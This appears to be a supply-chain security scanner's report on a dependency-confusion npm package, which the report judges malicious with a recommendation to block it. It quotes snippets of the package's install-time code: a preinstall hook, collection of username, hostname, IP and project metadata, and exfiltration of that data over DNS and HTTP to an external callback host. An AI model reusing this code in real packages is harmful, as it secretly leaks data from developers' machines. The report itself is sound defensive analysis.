It exfiltrates the serialized data by DNS plus HTTP and HTTPS callbacks. - **Trigger:** npm installation runs the \`preinstall\` lifecycle script. - **Impact:** Unconsented disclosure of username, home path, hostname, local IP, working directory, and consumer-project metadata. - **Evidence paths:** package.json, index.js, README.md - **Review source:** ai\_review - **Reviewed:** 2026-08-22T19:11:22.861Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** install-time host/project metadata collection and multi-channel network exfiltration - **Attack narrative:** A public high-version dependency-confusion package runs automatically during preinstall. It reads the consuming project's manifest, gathers local host and user identifiers, serializes them, then sends the payload to an attacker-controlled OAST host through DNS labels and HTTP/HTTPS POST requests. This is concrete install-time data exfiltration without installer consent. - **Rationale:** Source confirms automatic preinstall execution and external transmission of identifying host and project data. The stated research purpose does not remove the concrete unconsented exfiltration behavior. - **Files touched:** package.json, index.js, \/package.json - **Network endpoints:** da4v7l8hb2uc72ugqfmgk64edkj89qcok.oast.fun ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** \`preinstall\` executes \`index.js\` automatically., Install code reads consumer-project metadata and host identity., Collected data is encoded into DNS queries and POSTed to an external callback., The package is explicitly positioned as a dependency-confusion proof of concept. - **Evidence against:** No credential, environment-variable, or arbitrary file-content harvesting is present., No persistence, payload download, shell execution, or destructive action is present. ## Public findings ### 1.

High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() \`preinstall\` executes \`index.js\` automatically. Public source snippet (untrusted): ```json "main": "index.js", "scripts": { "preinstall": "node index.js" } ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() Install code reads consumer-project metadata and host identity. Public source snippet (untrusted): ```javascript const root = process.env.INIT_CWD || process.cwd(); const manifest = path.join(root, "package.json"); if (!fs.existsSync(manifest)) return out; const pkg = JSON.parse(fs.readFileSync(manifest, "utf8")); out.name = pkg.name || "__unnamed"; if (pkg.author) out.author = typeof pkg.author === "string" ? pkg.author : pkg.author.name; if (pkg.repository) out.repository = typeof pkg.repository === "string" ? pkg.repository : pkg.repository.url; if (pkg.homepage) out.homepage = pkg.homepage; ``` ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() Install code reads consumer-project metadata and host identity. Public source snippet (untrusted): ```javascript let user = null, home = null; try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {} return { uuid: crypto.randomUUID(), ip: localIPv4(), hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(), user: user, home: home, cwd: process.env.INIT_CWD || process.cwd(), poc: PACKAGE, parent: parent.name, author: parent.author || null, repository: parent.repository || null, homepage: parent.homepage || null ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() Collected data is encoded into DNS queries and POSTed to an external callback. Public source snippet (untrusted): ```javascript const b32 = Buffer.from(body).toString("base64") .replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, ""); const chunks = b32.match(/.{1,60}/g) || []; dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {}); chunks.forEach((c, i) => { try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {} }); ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() Collected data is encoded into DNS queries and POSTed to an external callback. Public source snippet (untrusted): ```javascript for (const [mod, port] of [[https, 443], [http, 80]]) { try { const req = mod.request({ hostname: CALLBACK, port: port, path: `/poc/${info.uuid}`, method: "POST", timeout: 5000, headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body), "X-Poc-Uuid": info.uuid } }); req.on("error", () => {}); req.on("timeout", () => { try { req.destroy(); } catch (e) {} }); req.write(body); req.end(); ``` ### 12. High: Suspicious Dependency Evidence - **Category:** Dependency - **Confidence:** 99.0% - **Path:** README.md - **Public source:** [View source]() The package is explicitly positioned as a dependency-confusion proof of concept. Public source snippet (untrusted): ```markdown `stillm4ddpocs-demo-widget` was found referenced in publicly served code, but no package by that name existed on the public npm registry. That combination is the precondition for [dependency confusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610): a build that resolves this name from the public registry rather than from an internal one will install whatever is published here, from anyone. It was published at version `999.9.9` deliberately. npm resolves the highest available version, so a high number is what demonstrates that the public copy wins over an internal one. ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** preinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** stillm4ddpocs-demo-widget - **Ecosystem:** npm - **Version:** 999.9.9 - **License:** ISC - **Version published:** 2026-08-22T19:09:55.309Z - **Package first seen:** 2026-08-22T19:11:22.861Z - **Package last seen:** 2026-08-22T19:11:22.861Z - **Known versions:** 1 - **Latest version:** 999.9.9 - **Appeal under review:** No - **Description:** AUTHORISED SECURITY RESEARCH — dependency confusion proof of concept.
